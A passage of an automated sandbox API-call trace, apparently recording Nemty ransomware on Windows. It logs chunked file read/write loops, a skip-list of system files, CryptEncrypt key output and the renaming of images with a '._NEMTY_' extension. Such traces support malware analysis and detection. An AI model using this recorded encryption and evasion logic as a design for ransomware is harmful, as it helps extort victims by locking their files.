SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.951] CloseHandle (hObject=0xffffffff) returned 0 [0163.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0163.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0163.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_foggy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_foggy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_foggy.png._nemty_kgobjgd_")) returned 0 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.952] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874da5fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874da5fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c663325, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3071, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_gray_hail.png", cAlternateFileName="")) returned 1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2=".") returned 1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="..") returned 1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="...") returned 1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="windows") returned -1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="$RECYCLE.BIN") returned 1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="rsa") returned -1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="NTDETECT.COM") returned -1 [0163.952] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="ntldr") returned -1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="MSDOS.SYS") returned -1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="IO.SYS") returned -1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="boot.ini") returned 1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="boot.ini") returned 1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="ntuser.dat") returned -1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="desktop.ini") returned 1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="CONFIG.SYS") returned 1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="RECYCLER") returned -1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="BOOTSECT.BAK") returned 1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="bootmgr") returned 1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="programdata") returned -1 [0163.953] lstrcmpiW (lpString1="docked_gray_hail.png", lpString2="appdata") returned 1 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_hail.png", lpUsedDefaultChar=0x0) returned 20 [0163.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_hail.png", lpUsedDefaultChar=0x0) returned 20 [0163.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0163.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_hail.png", lpUsedDefaultChar=0x0) returned 20 [0163.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_hail.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_hail.png", lpUsedDefaultChar=0x0) returned 20 [0163.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0163.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0163.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0163.954] Sleep (dwMilliseconds=0x5) [0163.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15615950, dwHighDateTime=0x1d561e8)) [0163.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15615950, dwHighDateTime=0x1d561e8)) [0163.969] GetLastError () returned 0x5 [0163.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.969] GetLastError () returned 0x5 [0163.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.970] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.970] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.970] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0163.970] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="qJ5wYRxWfYIiaB5FaHimATYcyySZyciqGhUV3Qx3YjBC6PFEmhD2lgUEkgMv4+BB\r\nnf6UPMWH1WIfc+mWQLTpOpF9cXR3p8HdRzzsxFJ3cuQWiRqVUgtWXOrfjwlri8Yn\r\nOA3eraluaLTUnhjphlZyElS3PWj9k/PCtxY8A0BpZ/Zcdw4sf3Y7RKArYnhXY1EH\r\nBOLv7+oepvd5xablVTog6aYJY1OQoPS0a5TctF2LGk2gpijhDoXMymThTiD60im5\r\nVHuD5L+svZUHfBEKHxaK7kfUPoViKMQiFg6BWcOazhlwmwhbjkppw79lo05XnAYQ\r\npuKg73kF8oIccuF2W9+hoA==\r\n", pcchString=0x653e91c) returned 1 [0163.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0163.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.970] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_hail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.970] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 